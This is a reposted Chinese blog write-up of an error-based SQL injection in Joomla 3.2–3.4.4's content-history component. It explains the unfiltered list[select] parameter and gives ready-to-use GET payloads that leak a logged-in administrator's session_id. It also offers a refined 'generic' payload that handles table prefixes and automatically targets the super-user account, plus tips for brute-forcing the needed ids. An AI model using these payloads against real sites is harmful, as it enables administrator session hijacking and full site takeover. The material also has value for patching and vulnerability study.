Joomla 3.2 - 3.4.4 无限制SQL注入漏洞

没穿底裤 2020年1月1日02:42:08评论528 views字数 1232阅读4分6秒阅读模式
摘要

 看到一个通杀 Joolma 3.2 到 3.4.4 版本的注入漏洞,可获得管理员权限,详细分析见此 Joomla SQL Injection Vulnerability Exploit Results in Full Administrative Access。


作者:

 

看到一个通杀 Joolma 3.2 到 3.4.4 版本的注入漏洞,可获得管理员权限,详细分析见此 Joomla SQL Injection Vulnerability Exploit Results in Full Administrative Access

注入点存在于 /administrator/components/com_contenthistory/models/history.php。原因是 populateState 函数没有对 list.select 进行过滤。

POC 如下:

GET index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1&list[select]=(select 1 FROM(select count(*),concat((select (select concat(session_id)) FROM jml_session where userid=30 LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)

 

其中 item_id 是文章的编号,type_id 是该文章对应的分类 id。userid 是管理员账户 id。
由下图可以看出文章编号直接可以在 URL 里找到,对应的 type_id 一般不会超过 20,所以暴力破解即可。
Joomla 3.2 - 3.4.4 无限制SQL注入漏洞

而管理员用户 id 可以在 jml_user_usergroup_map 里找到:

Joomla 3.2 - 3.4.4 无限制SQL注入漏洞

group_id 对应的角色:

Joomla 3.2 - 3.4.4 无限制SQL注入漏洞

执行 POC 以后报错:
(报错原理可参考 lijiejie 的一篇文章:https://www.lijiejie.com/mysql-injection-error-based-duplicate-entry/)
Joomla 3.2 - 3.4.4 无限制SQL注入漏洞

查看管理员的 session_id:

Joomla 3.2 - 3.4.4 无限制SQL注入漏洞

此时 jml_session 表中的数据:

Joomla 3.2 - 3.4.4 无限制SQL注入漏洞

注意报错注入出的 session_id 最后多了一个 1 。
Tips: 原文章中没有说明表前缀的处理方法,其实把 jml_ 换成 %23_ 即可(原文评论中有提到)。所以更通用的直接获取登录管理员 session_id 的 POC 为:

GET  index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=73&type_id=1&list[select]=(select 1 FROM(select count(*),concat((select (select concat(session_id)) FROM %23__session where userid=(select user_id from %23__user_usergroup_map where group_id=8 limit 1)  limit 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)

 

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
没穿底裤
  • 本文由 发表于 2020年1月1日02:42:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Joomla 3.2 - 3.4.4 无限制SQL注入漏洞https://cn-sec.com/archives/76517.html

发表评论

匿名网友 填写信息